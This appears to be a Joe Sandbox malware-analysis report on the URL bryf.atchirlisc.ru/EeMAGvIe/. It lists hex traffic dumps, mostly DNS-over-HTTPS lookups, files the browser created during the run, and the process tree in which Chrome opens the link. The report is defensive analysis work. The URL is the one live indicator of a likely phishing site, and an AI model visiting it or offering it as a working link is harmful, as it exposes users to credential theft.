2025-01-09 14:30:06 UTC	1390	IN	Data Raw: 3d 19 8d fb dd dd 4b 60 21 0e f5 cc 1f 33 7c 0c d2 d1 00 b1 81 5e 69 42 40 e6 1a a3 91 ad d6 e5 68 63 43 03 68 03 51 81 cd 15 5b 50 25 01 0d 0a a0 cc 37 ab d0 e0 70 db 64 42 b6 9f 01 12 e5 58 36 df 46 f2 c0 36 2c 9a 5a d0 f7 89 35 0a f9 9b 66 01 58 a1 26 0c 6a 4d 5c 4b 7b e9 58 7b 57 de c3 72 c3 01 d2 14 c3 96 8f 11 ca 88 39 7c 1d 63 60 72 6c d4 ef 71 f2 9c 49 0e 9c cd 6d 82 37 6e c9 82 9c 2f 0b 6e 24 69 39 f2 e2 78 83 7f 53 04 3d b6 a3 da b9 a8 71 16 77 6c c9 a0 89 56 73 5e 14 11 7c 7c 73 cb 7f 2a d9 f2 39 07 8f 6b 7d 56 ca c0 8d 61 7f 28 ec 36 ce 58 4c 31 40 12 ec 2c 6f 2c 2b 48 03 40 f2 e5 2b 62 36 46 17 48 75 0a bd e4 dc 22 b3 6e 9c 63 a5 86 71 d4 b8 31 30 23 af 19 81 78 83 e3 e9 5a 37 f8 9c 4b 22 f0 7a 80 ff ce 66 cd 63 e2 27 5d 67 e0 5c b9 05 91 82 Data Ascii: =K`!3\|^iB@hcChQ[P%7pdBX6F6,Z5fX&jM\K{X{Wr9\|c`rlqIm7n/n$i9xS=qwlVs^\|\|s*9k}Va(6XL1@,o,+H@+b6FHu"ncq10#xZ7K"zfc']g\
2025-01-09 14:30:06 UTC	1390	IN	Data Raw: fc c2 eb d3 07 f9 cb a9 80 c2 b8 ec 66 aa f4 9a a9 4f 23 9b 16 c3 b7 0c e9 94 d8 01 42 0d 39 01 c1 0c 00 05 bb 46 fd 6c 74 68 20 1a 73 50 b5 25 bf 9b 6b a1 76 bd ec 3e 5a 2f 34 82 c8 be 2c eb 72 e9 75 b9 81 5a f1 03 58 07 57 22 05 05 6e 85 8b 28 3e ed b7 c4 45 0d bd de ae 37 13 31 f9 80 3b 68 01 71 40 1d 01 b4 9c 4e 2d fe e0 0a c4 3b eb d6 d2 a0 03 02 2f 96 20 44 6d 8b bf 7c 02 6e 06 9b 90 bf 10 fe 39 81 a6 8e a4 2a f2 45 4e 66 1c a4 2b 79 31 d8 41 b0 51 04 2d 99 39 bc 77 2e 54 8b 76 6d a7 d8 02 27 86 e2 f3 dc 57 e3 03 ad 3a ec 69 93 fb 84 77 d0 7c da 4b 0a 2e 39 2d a6 36 d1 88 83 03 6c 5b fc 2f 79 5b 7d d8 a9 35 da cd 0e 88 f8 e2 03 a7 27 d3 a9 e0 0c 12 9c 09 82 d3 79 24 9a 2b cc 48 be 25 3a ab ff d0 19 81 59 31 2f 46 8c 01 89 b0 9a f6 ea aa b3 5c b7 89 Data Ascii: fO#B9Flth sP%kv>Z/4,ruZXW"n(>E71;hq@N-;/ Dm\|n9*ENf+y1AQ-9w.Tvm'W:iw\|K.9-6l[/y[}5'y$+H%:Y1/F\
2025-01-09 14:30:06 UTC	1390	IN	Data Raw: 41 d0 ce 03 89 61 57 3a e2 0c 48 31 96 53 3b 09 22 96 46 85 74 06 dc 97 14 6e 80 5c 17 6e 36 1a 8d 75 f8 7f 78 5c 36 a8 54 68 6b 72 c2 09 eb c5 52 50 48 b9 ff e5 a7 0f 83 fe 39 c0 51 2f 55 aa a1 dd 0a 37 5c c2 bc b6 5f 75 f5 b9 25 6c 88 f3 83 06 9b 56 b8 4a 65 5e 38 8b ca 20 06 d7 57 1a f5 b5 67 d3 e7 cf d7 5e bd b0 17 96 14 85 5e 3c 5b 03 09 6f 56 e4 52 22 10 cb 74 09 03 2f bd f9 23 7e 95 07 5a 94 28 41 b2 07 11 ae 60 79 c8 fb cd c2 c6 aa 3b ff 69 1b 7c 15 7c 8c 84 24 dc 79 fa e4 d1 a3 a5 ed fe e0 66 98 c6 c9 78 09 45 c6 ed ac 3f 9a 0c c3 a5 83 d4 1b b2 e1 cd d2 d6 64 9c f4 87 a3 da a3 a5 d3 0f 3b df 56 0f 52 3f ec 8d c2 d5 fd 00 d6 3f 8d d2 70 d8 5c da 1a 80 ee 12 ae ae d5 ea 8f 9e 3c a5 a3 07 57 cc bd 02 12 70 3b 73 2e 49 16 9f 4e 31 20 51 39 f9 af 05 Data Ascii: AaW:H1S;"Ftn\n6ux\6ThkrRPH9Q/U7\_u%lVJe^8 Wg^^<[oVR"t/#~Z(A`y;i\|\|$yfxE?d;VR??p\<Wp;s.IN1 Q9
2025-01-09 14:30:06 UTC	1390	IN	Data Raw: 87 13 fa f8 51 4e 97 0f d5 84 e9 74 fa 59 da 7c bf e3 19 63 e7 07 e3 a7 9c f0 cd e3 fc 08 b5 3a ce 6e 1e 74 71 58 2e 86 7b e3 3e 33 82 51 35 c1 d9 f3 e4 51 51 26 64 2c af 85 36 8b 9c 7b 7a b0 77 c8 75 fa 03 ca fd a0 c3 ce 9a 6e be f5 7a 7b 67 77 ef cd db fd 77 ef 0f 0e 8f 8e 3f 7c 3c 39 fd f4 f9 cb d7 6f df 7f 30 cf 87 a1 c4 49 7a 7e 91 75 7b fd c1 af e1 68 3c b9 bc ba be f9 5d 6f ac 3d 5b 7f fe e2 ef 97 af f2 63 f2 15 f4 d6 9e 55 aa 4f dd 8a 03 ff c2 3f ab 3f 5d fa b7 46 ff 56 3a 94 2b 20 dc 78 de 0a 95 8b c3 47 91 c8 67 63 2b 40 91 24 6f ca 6e 7d 87 bd d2 71 e7 b6 91 dc ac b1 6c 22 71 23 d8 4d ad 1f 0c cf f9 69 73 e6 2f 50 b6 99 79 ee 77 4a 8a 21 24 4f 4b 33 1e c8 1d fb f4 19 74 19 80 e6 f6 62 bd 83 59 19 a8 db d0 e5 f1 d2 79 f6 89 b5 56 54 75 9f c9 63 Data Ascii: QNtY\|c:ntqX.{>3Q5QQ&d,6{zwunz{gww?\|<9o0Iz~u{h<]o=[cUO??]FV:+ xGgc+@$on}ql"q#Mis/PywJ!$OK3tbYyVTuc

Timestamp	Bytes transferred	Direction	Data
2025-01-09 14:30:08 UTC	245	OUT	POST /dns-query HTTP/1.1 Host: chrome.cloudflare-dns.com Connection: keep-alive Content-Length: 128 Accept: application/dns-message Accept-Language: * User-Agent: Chrome Accept-Encoding: identity Content-Type: application/dns-message
2025-01-09 14:30:08 UTC	128	OUT	Data Raw: 00 00 01 00 00 01 00 00 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 00 00 29 10 00 00 00 00 00 00 54 00 0c 00 50 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcom)TP
2025-01-09 14:30:08 UTC	247	IN	HTTP/1.1 200 OK Server: cloudflare Date: Thu, 09 Jan 2025 14:30:08 GMT Content-Type: application/dns-message Connection: close Access-Control-Allow-Origin: * Content-Length: 468 CF-RAY: 8ff51fa0aeb78c1b-EWR alt-svc: h3=":443"; ma=86400
2025-01-09 14:30:08 UTC	468	IN	Data Raw: 00 00 81 80 00 01 00 01 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 c0 0c 00 01 00 01 00 00 01 0a 00 04 8e fa 50 03 00 00 29 04 d0 00 00 00 00 01 98 00 0c 01 94 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcomP)

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report https://bryf.atchirlisc.ru/EeMAGvIe/

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

Dropped Files

Sigma Signatures

Suricata Signatures

Joe Sandbox Signatures

Phishing

Networking

System Summary

Boot Survival

HIPS / PFW / Operating System Protection Evasion

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

LLM Input / Output

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\2a4c496f-ea2b-4f15-a00e-b5193dd37ad3.tmp

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\42885dac-2211-4232-a83c-8a8aab9e9df4.tmp

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\619815a5-6b1e-43bc-a816-a1cfd45d7382.tmp

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\7afee4f3-a6fa-4fc3-855e-df127d5b2898.tmp

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\97bb92a5-2cc2-483c-bf2d-616487d5b755.tmp

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Ad Blocking\6b8016b2-6291-4889-9eb6-2984154d7d92.tmp

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Ad Blocking\blocklist (copy)

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\BrowserMetrics\BrowserMetrics-677FDD68-4AC.pma

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\BrowserMetrics\BrowserMetrics-677FDD7A-1F64.pma

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\BrowserMetrics\BrowserMetrics-677FDD82-C20.pma

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\CrashpadMetrics-active.pma

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\15b57658-6154-4cfa-850f-865c14eb29a5.tmp

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\1fc00344-9eba-42f5-b0f9-e1c3a4d5483e.tmp

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\4540c448-2b54-4434-a618-75816c35ece0.tmp

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\6bb0ca7e-2bb9-4fd7-9164-0d5d5459fcbb.tmp

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\72ebf5f5-b9b0-4328-a3c9-818a04a35b58.tmp

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\749bd69e-a39d-4446-a49b-a0e66d6a387b.tmp

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\9ae89cf5-1921-47a7-805e-d5472e21f2db.tmp

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Asset Store\assets.db\000001.dbtmp

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Asset Store\assets.db\000003.log

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Asset Store\assets.db\CURRENT (copy)

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Asset Store\assets.db\LOG

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Asset Store\assets.db\MANIFEST-000001

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\AssistanceHome\AssistanceHomeSQLite

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\DIPS

Windows Analysis Report
https://bryf.atchirlisc.ru/EeMAGvIe/

Timestamp	Bytes transferred	Direction	Data
2025-01-09 14:30:09 UTC	245	OUT	POST /dns-query HTTP/1.1 Host: chrome.cloudflare-dns.com Connection: keep-alive Content-Length: 128 Accept: application/dns-message Accept-Language: * User-Agent: Chrome Accept-Encoding: identity Content-Type: application/dns-message
2025-01-09 14:30:09 UTC	128	OUT	Data Raw: 00 00 01 00 00 01 00 00 00 00 00 01 07 63 6f 70 69 6c 6f 74 09 6d 69 63 72 6f 73 6f 66 74 03 63 6f 6d 00 00 01 00 01 00 00 29 10 00 00 00 00 00 00 4e 00 0c 00 4a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: copilotmicrosoftcom)NJ
2025-01-09 14:30:09 UTC	247	IN	HTTP/1.1 200 OK Server: cloudflare Date: Thu, 09 Jan 2025 14:30:09 GMT Content-Type: application/dns-message Connection: close Access-Control-Allow-Origin: * Content-Length: 468 CF-RAY: 8ff51fa79e39c413-EWR alt-svc: h3=":443"; ma=86400
2025-01-09 14:30:09 UTC	468	IN	Data Raw: 00 00 81 80 00 01 00 06 00 00 00 01 07 63 6f 70 69 6c 6f 74 09 6d 69 63 72 6f 73 6f 66 74 03 63 6f 6d 00 00 01 00 01 c0 0c 00 05 00 01 00 00 0e 08 00 2d 18 63 6f 70 69 6c 6f 74 2d 63 6f 70 69 6c 6f 74 2d 6d 73 66 74 2d 63 6f 6d 0e 74 72 61 66 66 69 63 6d 61 6e 61 67 65 72 03 6e 65 74 00 c0 33 00 05 00 01 00 00 00 34 00 20 07 63 6f 70 69 6c 6f 74 09 6d 69 63 72 6f 73 6f 66 74 03 63 6f 6d 07 65 64 67 65 6b 65 79 c0 5b c0 6c 00 05 00 01 00 00 54 58 00 1a 07 65 31 30 37 31 30 38 04 64 73 63 78 0a 61 6b 61 6d 61 69 65 64 67 65 c0 5b c0 98 00 01 00 01 00 00 00 0c 00 04 17 db 52 20 c0 98 00 01 00 01 00 00 00 0c 00 04 17 db 52 5a c0 98 00 01 00 01 00 00 00 0c 00 04 17 db 52 13 00 00 29 04 d0 00 00 00 00 00 e7 00 0c 00 e3 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: copilotmicrosoftcom-copilot-copilot-msft-comtrafficmanagernet34 copilotmicrosoftcomedgekey[lTXe107108dscxakamaiedge[R RZR)

Timestamp	Bytes transferred	Direction	Data
2025-01-09 14:30:10 UTC	245	OUT	POST /dns-query HTTP/1.1 Host: chrome.cloudflare-dns.com Connection: keep-alive Content-Length: 128 Accept: application/dns-message Accept-Language: * User-Agent: Chrome Accept-Encoding: identity Content-Type: application/dns-message
2025-01-09 14:30:10 UTC	128	OUT	Data Raw: 00 00 01 00 00 01 00 00 00 00 00 01 16 73 74 75 64 69 6f 73 74 61 74 69 63 61 73 73 65 74 73 70 72 6f 64 09 61 7a 75 72 65 65 64 67 65 03 6e 65 74 00 00 01 00 01 00 00 29 10 00 00 00 00 00 00 3f 00 0c 00 3b 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: studiostaticassetsprodazureedgenet)?;
2025-01-09 14:30:10 UTC	247	IN	HTTP/1.1 200 OK Server: cloudflare Date: Thu, 09 Jan 2025 14:30:10 GMT Content-Type: application/dns-message Connection: close Access-Control-Allow-Origin: * Content-Length: 468 CF-RAY: 8ff51faa795a0f6f-EWR alt-svc: h3=":443"; ma=86400
2025-01-09 14:30:10 UTC	468	IN	Data Raw: 00 00 81 80 00 01 00 06 00 00 00 01 16 73 74 75 64 69 6f 73 74 61 74 69 63 61 73 73 65 74 73 70 72 6f 64 09 61 7a 75 72 65 65 64 67 65 03 6e 65 74 00 00 01 00 01 c0 0c 00 05 00 01 00 00 07 05 00 1d 16 73 74 75 64 69 6f 73 74 61 74 69 63 61 73 73 65 74 73 70 72 6f 64 03 61 66 64 c0 23 c0 42 00 05 00 01 00 00 00 39 00 0f 0c 72 65 73 65 72 76 65 64 2d 70 30 31 c0 59 c0 6b 00 05 00 01 00 00 00 39 00 1a 08 73 74 61 72 2d 74 2d 70 0e 74 72 61 66 66 69 63 6d 61 6e 61 67 65 72 c0 2d c0 86 00 05 00 01 00 00 00 39 00 2c 04 73 68 65 64 08 64 75 61 6c 2d 6c 6f 77 0b 73 2d 70 61 72 74 2d 30 30 31 32 06 74 2d 30 30 30 39 08 74 2d 6d 73 65 64 67 65 c0 2d c0 ac 00 05 00 01 00 00 00 39 00 02 c0 ba c0 ba 00 01 00 01 00 00 00 39 00 04 0d 6b f6 28 00 00 29 04 d0 00 00 00 00 Data Ascii: studiostaticassetsprodazureedgenetstudiostaticassetsprodafd#B9reserved-p01Yk9star-t-ptrafficmanager-9,sheddual-lows-part-0012t-0009t-msedge-99k()

Timestamp	Bytes transferred	Direction	Data
2025-01-09 14:30:11 UTC	245	OUT	POST /dns-query HTTP/1.1 Host: chrome.cloudflare-dns.com Connection: keep-alive Content-Length: 128 Accept: application/dns-message Accept-Language: * User-Agent: Chrome Accept-Encoding: identity Content-Type: application/dns-message
2025-01-09 14:30:11 UTC	128	OUT	Data Raw: 00 00 01 00 00 01 00 00 00 00 00 01 10 65 64 67 65 61 73 73 65 74 73 65 72 76 69 63 65 09 61 7a 75 72 65 65 64 67 65 03 6e 65 74 00 00 01 00 01 00 00 29 10 00 00 00 00 00 00 45 00 0c 00 41 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: edgeassetserviceazureedgenet)EA
2025-01-09 14:30:11 UTC	247	IN	HTTP/1.1 200 OK Server: cloudflare Date: Thu, 09 Jan 2025 14:30:11 GMT Content-Type: application/dns-message Connection: close Access-Control-Allow-Origin: * Content-Length: 468 CF-RAY: 8ff51fb10b7e4376-EWR alt-svc: h3=":443"; ma=86400
2025-01-09 14:30:11 UTC	468	IN	Data Raw: 00 00 81 80 00 01 00 05 00 00 00 01 10 65 64 67 65 61 73 73 65 74 73 65 72 76 69 63 65 09 61 7a 75 72 65 65 64 67 65 03 6e 65 74 00 00 01 00 01 c0 0c 00 05 00 01 00 00 06 58 00 17 10 65 64 67 65 61 73 73 65 74 73 65 72 76 69 63 65 03 61 66 64 c0 1d c0 3c 00 05 00 01 00 00 0d 60 00 22 10 61 7a 75 72 65 65 64 67 65 2d 74 2d 70 72 6f 64 0e 74 72 61 66 66 69 63 6d 61 6e 61 67 65 72 c0 27 c0 5f 00 05 00 01 00 00 00 3c 00 2c 04 73 68 65 64 08 64 75 61 6c 2d 6c 6f 77 0b 73 2d 70 61 72 74 2d 30 30 31 32 06 74 2d 30 30 30 39 08 74 2d 6d 73 65 64 67 65 c0 27 c0 8d 00 05 00 01 00 00 00 3c 00 02 c0 9b c0 9b 00 01 00 01 00 00 00 3c 00 04 0d 6b f6 28 00 00 29 04 d0 00 00 00 00 00 f2 00 0c 00 ee 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: edgeassetserviceazureedgenetXedgeassetserviceafd<`"azureedge-t-prodtrafficmanager'_<,sheddual-lows-part-0012t-0009t-msedge'<<k()

Timestamp	Bytes transferred	Direction	Data
2025-01-09 14:30:26 UTC	245	OUT	POST /dns-query HTTP/1.1 Host: chrome.cloudflare-dns.com Connection: keep-alive Content-Length: 128 Accept: application/dns-message Accept-Language: * User-Agent: Chrome Accept-Encoding: identity Content-Type: application/dns-message
2025-01-09 14:30:26 UTC	128	OUT	Data Raw: 00 00 01 00 00 01 00 00 00 00 00 01 04 65 64 67 65 09 6d 69 63 72 6f 73 6f 66 74 03 63 6f 6d 00 00 41 00 01 00 00 29 10 00 00 00 00 00 00 51 00 0c 00 4d 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: edgemicrosoftcomA)QM
2025-01-09 14:30:26 UTC	247	IN	HTTP/1.1 200 OK Server: cloudflare Date: Thu, 09 Jan 2025 14:30:26 GMT Content-Type: application/dns-message Connection: close Access-Control-Allow-Origin: * Content-Length: 468 CF-RAY: 8ff5200d98ee433d-EWR alt-svc: h3=":443"; ma=86400
2025-01-09 14:30:26 UTC	468	IN	Data Raw: 00 00 81 80 00 01 00 01 00 01 00 01 04 65 64 67 65 09 6d 69 63 72 6f 73 6f 66 74 03 63 6f 6d 00 00 41 00 01 c0 0c 00 05 00 01 00 00 0d 65 00 2d 12 65 64 67 65 2d 6d 69 63 72 6f 73 6f 66 74 2d 63 6f 6d 0b 64 75 61 6c 2d 61 2d 30 30 33 36 08 61 2d 6d 73 65 64 67 65 03 6e 65 74 00 c0 4f 00 06 00 01 00 00 00 45 00 23 03 6e 73 31 c0 4f 06 6d 73 6e 68 73 74 c0 11 78 2b 22 e5 00 00 07 08 00 00 03 84 00 24 ea 00 00 00 00 f0 00 00 29 04 d0 00 00 00 00 01 3d 00 0c 01 39 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: edgemicrosoftcomAe-edge-microsoft-comdual-a-0036a-msedgenetOE#ns1Omsnhstx+"$)=9

Target ID:	0
Start time:	09:29:27
Start date:	09/01/2025
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized "about:blank"
Imagebase:	0x7ff76e190000
File size:	3'242'272 bytes
MD5 hash:	45DE480806D1B5D462A7DDE4DCEFC4E4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	false

Target ID:	2
Start time:	09:29:32
Start date:	09/01/2025
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2088 --field-trial-handle=2032,i,5592853975208518090,15640883060359809183,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Imagebase:	0x7ff76e190000
File size:	3'242'272 bytes
MD5 hash:	45DE480806D1B5D462A7DDE4DCEFC4E4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	false

Target ID:	3
Start time:	09:29:39
Start date:	09/01/2025
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" "https://bryf.atchirlisc.ru/EeMAGvIe/"
Imagebase:	0x7ff76e190000
File size:	3'242'272 bytes
MD5 hash:	45DE480806D1B5D462A7DDE4DCEFC4E4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Target ID:	11
Start time:	09:30:00
Start date:	09/01/2025
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument microsoft-edge:?url=http%3A%2F%2Fwww.bing.com%2Fchat%3Fform%3DWSBSH1%26cvid%3Db374da154d8a4e3bb912f43f50eaafd2%26nclid%3D4C9C2B2D0465FD7A42C74C7E93CFB630%26ts%3D1736433000464%26nclidts%3D1736433000%26tsms%3D464&timestamp=1736433000464&source=WindowsSearchBox&medium=CodexUpsell
Imagebase:	0x7ff67dcd0000
File size:	4'210'216 bytes
MD5 hash:	69222B8101B0601CC6663F8381E7E00F
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	false

Target ID:	12
Start time:	09:30:01
Start date:	09/01/2025
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2604 --field-trial-handle=2536,i,1983186790017537026,10976805212909534197,262144 /prefetch:3
Imagebase:	0x7ff67dcd0000
File size:	4'210'216 bytes
MD5 hash:	69222B8101B0601CC6663F8381E7E00F
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	false

Target ID:	14
Start time:	09:30:04
Start date:	09/01/2025
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-GB --service-sandbox-type=asset_store_service --mojo-platform-channel-handle=6276 --field-trial-handle=2536,i,1983186790017537026,10976805212909534197,262144 /prefetch:8
Imagebase:	0x7ff67dcd0000
File size:	4'210'216 bytes
MD5 hash:	69222B8101B0601CC6663F8381E7E00F
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true